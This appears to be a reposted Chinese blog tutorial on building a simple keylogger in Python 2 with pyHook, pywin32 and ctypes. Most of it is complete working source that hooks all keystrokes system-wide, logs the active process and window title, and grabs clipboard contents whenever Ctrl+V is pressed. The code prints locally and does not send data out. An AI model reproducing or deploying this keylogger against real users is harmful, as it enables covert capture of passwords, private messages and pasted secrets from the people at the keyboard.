使用python实现简易键盘记录功能

使用python实现简易键盘记录功能


环境准备

  • Anaconda2(python2.7 64bit) Anaconda官网 蟒蛇:一个包丰富的python科学计算发行版
  • pyHook
    • pyHook-Download-for-32bit ps:32bit直接下载.exe安装,注意python路径应在环境变量中
    • python-Download-for-64bit pip install *.whl
    • pyHook tutorial 简单使用说明
  • pywin32 Anoncoda自带

流程图

使用python实现简易键盘记录功能_第1张图片

图片转载自

代码实现

    from ctypes import *
    import pyHook
    import pythoncom
    import win32clipboard

    user32 = windll.user32
    kernel32 = windll.kernel32
    psapi = windll.psapi
    current_window = None

    def get_current_process():
        # 获取最上层的窗口句柄
        hwnd = user32.GetForegroundWindow()

        # 获取进程ID
        pid = c_ulong(0)
        user32.GetWindowThreadProcessId(hwnd, byref(pid))

        # 将进程ID存入变量中
        process_id = "%d" % pid.value

        # 申请内存
        executable = create_string_buffer("\x00" * 512)
        h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid)

        psapi.GetModuleBaseNameA(h_process, None, byref(executable), 512)

        # 读取窗口标题
        windows_title = create_string_buffer("\x00" * 512)
        length = user32.GetWindowTextA(hwnd, byref(windows_title), 512)

        # 打印
        print
        print "[ PID:%s-%s-%s]" % (process_id, executable.value,    windows_title.value)
        print

        # 关闭handles
        kernel32.CloseHandle(hwnd)
        kernel32.CloseHandle(h_process)


    # 定义击键监听事件函数
    def KeyStroke(event):
        global current_window

        # 检测目标窗口是否转移(换了其他窗口就监听新的窗口)
        if event.WindowName != current_window:
            current_window = event.WindowName
            # 函数调用
            get_current_process()

        # 检测击键是否常规按键(非组合键等)
        if event.Ascii > 32 and event.Ascii < 127:
            print chr(event.Ascii),
        else:
            # 如果发现Ctrl+v(粘贴)事件,就把粘贴板内容记录下来
            if event.Key == "V":
                win32clipboard.OpenClipboard()
                pasted_value = win32clipboard.GetClipboardData()
                win32clipboard.CloseClipboard()
                print "[PASTE]-%s" % (pasted_value),
            else:
                print "[%s]" % event.Key,
        # 循环监听下一个击键事件
        return True

    # 创建并注册hook管理器
    kl = pyHook.HookManager()
    kl.KeyDown = KeyStroke

    # 注册hook并执行
    kl.HookKeyboard()
    pythoncom.PumpMessages()

你可能感兴趣的:(使用python实现简易键盘记录功能)